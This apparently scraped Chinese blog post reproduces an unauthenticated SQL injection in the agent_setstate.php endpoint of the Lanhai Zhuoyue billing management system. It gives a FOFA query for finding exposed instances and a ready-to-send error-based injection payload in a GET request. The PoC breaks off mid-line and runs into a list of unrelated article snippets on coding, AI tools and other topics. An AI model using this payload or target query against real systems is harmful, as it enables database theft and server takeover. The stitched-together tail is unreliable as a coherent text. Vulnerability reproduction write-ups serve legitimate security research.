蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现
0x01 产品简介
蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其他厂商支持相应标准的产品兼容，结合蓝海卓越的PPPOE服务器网关，可提供更加丰富的功能。，另外，友好的Web访问管理的方式，为用户提供更好用、易用的方式，更贴心的使用形式。
0x02 漏洞概述
蓝海卓越计费管理系统 agent_setstate.php 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。
0x03 复现环境
FOFA：title=="蓝海卓越计费管理系统"
0x04 漏洞复现
PoC
GET /agent_setstate.php?id=(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT(0x717a767071,(SELECT%20(ELT(6154=6154,1))),0x7170716a71,0x78))s),%208446744073709551610,%208446744073709551610))) HTTP/1.1
Host: your相关文章：
蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现
0x01 产品简介 蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其…...
【leetcode2765--最长交替子数组】
要求：给定一个数组，找出符合【x, x1,x,x-1】这样循环的最大交替数组长度。 思路：用两层while循环，第一个while用来找到符合这个循环的开头位置，第二个用来找到该循环的结束位置，并比较一下max进行记录。 …...
java文档管理系统的设计与实现源码(springboot+vue+mysql)
风定落花生，歌声逐流水，大家好我是风歌，混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的文档管理系统的设计与实现。项目源码以及部署相关请联系风歌，文末附上联系信息 。 项目简介： 文档管理系统的…...
西安航空学院电子工程学院领导莅临泰迪智能科技参观交流
5月26日，西安航空学院电子工程学院院长杨亚萍、专业教师刘坤莅临广东泰迪智能科技股份有限公司产教融合实训基地参观交流。泰迪智能科技董事长张良均、副总经理施兴、产品中心负责周东平、校企合作经理吴桂锋与泰迪智能科技韩伟进行热情了接待。双方就专业建设、协同…...
C++｜设计模式（二）｜简单工厂和工厂方法模式
本文探讨两种广泛使用的创建型模式——简单工厂模式和工厂方法模式，解释他们的实现细节、优势以及应用场景。 在下一篇文章中，我会补充抽象工厂模式，其实工厂模式主要就是为了封装对象的创建过程，如果我们不进行封装，…...
C语言从头学12——流程控制（一）
C语言程序的执行顺序是从前到后依次序执行的。如果想要控制程序执行的流程，就必须使用 流程控制的语法结构，分为条件执行和循环执行。 1、if语句 if 语句在前面的举例中曾经出现过，这里做详细介绍。该语句用于条件判断，满…...
10大领域应该怎么记？
文章目录 5大过程组10大领域49个过程输出输入工具与技术 参考文档： https://mp.weixin.qq.com/s/BJ-Dpn0zxTP0TCbeoJXb9A 5大过程组 启动、规划、执行、监控、收尾 10大领域 巧记：【挣饭进城市，咨购风菜干】【狗子整范进—成人风采】 整…...
通过Ubuntu虚拟机+Linux移植LVGL并通过linux Frame buffer显示
文章参考：https://gitee.com/socbis/linux-lvgl lvgl on linux Frame buffer 主机环境: Ubuntu 18.04lvgl 8.0.1 获取源码并运行demo 获取源码 需要3样东西来构建demo : lvgl核心控件库: 从此处获取源码 lvgl，选择版本 Release v8.0.1. 显示和触摸接…...
M功能-支付平台(三)
target：离开柬埔寨倒计时-221day 前言 今天周六，但是在柬埔寨还是工作日，想着国内的朋友开始休周末就羡慕呀，记不清在这边过了多少个周六了，多到我已经习惯了。而且今天技术部还停电了，真的是热的受不了呀…...
5G工厂长啥样
5G工厂是一种新型的工业互联网基础设施，利用5G为代表的新一代信息通信技术集成，打造新型工业互联网基础设施。在5G工厂中，自动化和智能化设备广泛使用，高度互联的工厂网络得以实现，远程监控和管理成为可能，…...
使用Python操作Jenkins
大家好，Python作为一种简洁、灵活且功能丰富的编程语言，可以与各种API轻松集成，Jenkins的API也不例外。借助于Python中的python-jenkins模块，我们可以轻松地编写脚本来连接到Jenkins服务器，并执行各种操作，…...
网络协议测试仪设计方案：474-便携式手提万兆网络协议测试仪
便携式手提万兆网络协议测试仪 一、平台简介 便携式手提万兆网络协议测试仪，以FPGA万兆卡和X86主板为基础，构建便携式的手提设备。 FPGA万兆卡是以Kintex-7XC7K325T PCIeX4的双路万兆光纤网络卡，支持万兆网络数据的收发和网络协议…...
使用numpy手写一个神经网络
本文主要包含以下内容： 推导神经网络的误差反向传播过程使用numpy编写简单的神经网络，并使用iris数据集和california_housing数据集分别进行分类和回归任务，最终将训练过程可视化。 1. BP算法的推导过程 1.1 导入 前向传播和反向传播的总体…...
使用Spring AOP实现接口参数变更前后对比和日志记录
推荐一个程序员的常用工具网站，效率加倍，嘎嘎好用：程序员常用工具云服务器限时免费领：轻量服务器2核4G腾讯云：2核2G4M云服务器新老同享99元/年，续费同价阿里云：2核2G3M的ECS服务器只需99元/年，续费同价记录接口调用前后的参数变化是一个常见的需求，这不仅有助于调试和…...
免费无限换脸，火了，图片/视频/直播都行！
最强换脸AI工具Facefusion软件在近期更新到了2.6.0版本，带来了一系列的更新和改进，今天为大家分享一下最新的整合包。 Facefusion2.6.0版本介绍 FaceFusion不仅仅是一款换脸软件，它更是一个多功能的数字人和实时直播助手，真正开启…...
无线领夹麦克风哪个品牌好？本期文章揭秘无线麦克风哪个品牌好用
在当下这个全民皆为媒体的时代大潮中，视频分享已然成为了引领风尚的指向标。在自媒体领域竞争愈发激烈的态势下，若要在这片广阔海洋中扬帆远航，优秀的作品毫无疑问是吸引观众的关键所在。而想要塑造出这样的卓越之作，除了需要创…...
操作系统实验--终极逃课方法
找到图片里的这个路径下的文件 ，结合当前题目名称，把文件内容全部删除，改为print print的内容为下图左下角的预期输出的内容...
C语言实现正弦信号扫频
C语言实现正弦信号扫频 包含必要的头文件：首先，你需要包含 <stdio.h> 和 <math.h> 头文件，分别用于输入输出和数学函数的使用。 定义扫频参数：定义正弦扫频的参数，例如起始频率、结束频率、扫频时间等。 生成正弦波信号：使用正弦函数生成扫频信号，可以根…...
实用篇| huggingface网络不通
之前文章《Transformer原理》中介绍过,Transformers 是由 Hugging Face 开发的一个包，支持加载目前绝大部分的预训练模型。随着 BERT、GPT 等大规模语言模型的兴起，越来越多的公司和研究者采用 Transformers 库来构建应用。 Hugging Face是一家美国公司…...
NLP与训练模型-GPT-3：探索人工智能语言生成的新纪元
在人工智能领域，自然语言处理（NLP）一直是备受关注的研究方向之一。随着深度学习技术的发展，尤其是Transformer模型的出现，NLP领域取得了巨大的进步。其中，由OpenAI推出的GPT-3模型更是引起了广泛的关注和热…...
游戏AI战略逻辑：状态建模、奖励设计与实时决策三要素
1. 项目概述：当机器开始玩我们的游戏，背后不是炫技，而是逻辑的具象化“当机器开始玩我们的游戏”——这句话乍听像科幻片开场白，但现实中它早已不是新闻。AlphaGo击败李世石那盘棋之后，很多人以为AI下棋只是算法碾压人…...
Chrome无痕模式下Selenium BiDi协议断连原因与解决方案
1. 这个问题不是“能不能用”，而是“为什么一开无痕就断连”我第一次在CI流水线里跑通Chrome DevTools Protocol（CDP）自动化时，兴奋地加了--incognito参数想让测试更干净——结果WebDriver直接抛出org.openqa.selenium.devtools.D…...
GEO优化的两大误区：你是在“交学费”还是在“抢红利”？
当AI搜索成为用户的新入口，一批先行者已经吃到了红利。但更多人，还在两个极端之间摇摆。 你有没有遇到过这样的情况？ 刷到某个同行，因为上了DeepSeek或豆包的推荐，咨询量翻了几倍。你也心动，开始研究GEO&a…...
【tomcat部署前台war包报错】
tomcat部署前台war包报错 背景：tomcat启动前台war包，由zip直接改文件后缀成war包，jdk8 同事好使，我不好使 部署平台日志： 报错一、正常tomcat执行时会把war包解压成对应文件夹，这里应该是没解压成功。没有具…...
mPDF实战指南：PHP环境下HTML转PDF的高性能解决方案深度解析
mPDF实战指南：PHP环境下HTML转PDF的高性能解决方案深度解析 【免费下载链接】mpdf PHP library generating PDF files from UTF-8 encoded HTML 项目地址: https://gitcode.com/gh_mirrors/mp/mpdf 在当今数字化办公环境中，PDF文档生成已成为企业…...
Static-Program-Analysis-Book中间表示解析：构建高效静态分析器的核心技术
Static-Program-Analysis-Book中间表示解析：构建高效静态分析器的核心技术 【免费下载链接】Static-Program-Analysis-Book Getting started with static program analysis. 静态程序分析入门教程。 项目地址: https://gitcode.com/gh_mirrors/st/Static-Program-…...
2021年5月AI工程化三大关键突破：Deformable DETR、REALM与WB Model Registry
1. 项目概述：这不是一份榜单，而是一份2021年5月AI领域真实水位的切片报告“The AI Monthly Top 3 — May 2021”这个标题乍看像一份轻量级资讯简报，但在我连续追踪AI领域动态超过十年、亲手部署过从BERT-base到GPT-3早期API调用、从YOLOv3训练…...
Unity TMP InputField光标稳定方案：字体、渲染与输入法深度适配
1. 为什么InputField光标会“消失”、错位、卡死——不是Bug，是渲染管线的底层博弈 你有没有在Unity项目里遇到过这样的场景：UI界面一切正常，唯独InputField的光标不显示；或者光标明明在文字末尾，点击却跳到中间&#…...
2026免费照片去水印软件app排行榜 | 照片去水印怎么去？最新推荐工具对比
照片水印去除需求在2026年越来越普遍，无论是整理个人相册还是做内容素材处理，找到一款趁手的去水印工具能节省大量时间。本文对标当前免费照片去水印软件app的主流选择进行了全面测评，并整理了一份排行榜式的推荐清单，帮你快速定位…...
在线网盘系统：基于 Spring Boot 的文件存储、分类管理与分享预览实践
在线网盘系统：基于 Spring Boot 的文件存储、分类管理与分享预览实践 项目概述 在线网盘系统的核心目标，是把“文件存储”升级为“文件管理 文件预览 文件分享”的一体化平台。相比只支持上传下载的简易文件系统，这个项目进一步补齐了分类管…...